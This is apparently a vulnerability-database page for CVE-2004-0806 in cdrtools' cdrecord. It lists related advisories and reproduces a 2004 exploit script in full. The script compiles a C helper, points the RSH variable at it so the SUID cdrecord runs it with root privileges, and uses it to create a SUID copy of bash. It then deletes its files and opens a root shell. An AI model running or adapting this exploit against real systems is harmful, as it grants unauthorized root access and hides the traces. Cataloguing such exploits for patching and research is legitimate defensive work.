CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2004-0806 | 14 Sep 200404:00 | – | cve | |
| CVE-2004-0806 | 14 Sep 200404:00 | – | cvelist | |
| CDRecord's ReadCD - Local Privilege Escalation | 19 Sep 200400:00 | – | exploitdb | |
| Moderate: pam security and bug fix update | 20 Jun 200700:00 | – | oraclelinux | |
| EUVD-2004-0804 | 7 Oct 202500:30 | – | euvd | |
| Fedora Core 1 : cdrtools-2.01-0.a19.2.FC1.1 (2004-297) | 9 Sep 200400:00 | – | nessus | |
| Fedora Core 2 : cdrtools-2.01-0.a27.4.FC2.3 (2004-298) | 9 Sep 200400:00 | – | nessus | |
| GLSA-200409-18 : cdrtools: Local root vulnerability in cdrecord if set SUID root | 16 Sep 200400:00 | – | nessus | |
| Mandrake Linux Security Advisory : cdrecord (MDKSA-2004:091) | 8 Sep 200400:00 | – | nessus | |
| cdrtools: Local root vulnerability in cdrecord if set SUID root | 14 Sep 200400:00 | – | gentoo |
10
#!/bin/bash
#
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
# Exploits cdrecord's exec() of $RSH before dropping privs
#
cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
main( int argc, char *argv[] ) {
int fd1, fd2;
int count;
char buffer[1];
/* Set ID's */
setuid( geteuid() );
setgid( geteuid() );
/* Copy the shell */
if ((fd1=open( "/bin/bash", O_RDONLY))<0)
return -1;
if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
return -1;
while((count=read(fd1, buffer, 1)))
write(fd2, buffer, count);
free(buffer);
close( fd1 );
close( fd2 );
/* Priv the shell */
chown( "./bash", geteuid(), geteuid() );
chmod( "./bash", 3565 );
}
__EOF__
cc ./cpbinbash.c -o ./cpbinbash
# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash
# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -
# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=
# Use our suid bash
./bash -p
// milw0rm.com [2004-09-11]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Mar 2019 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01725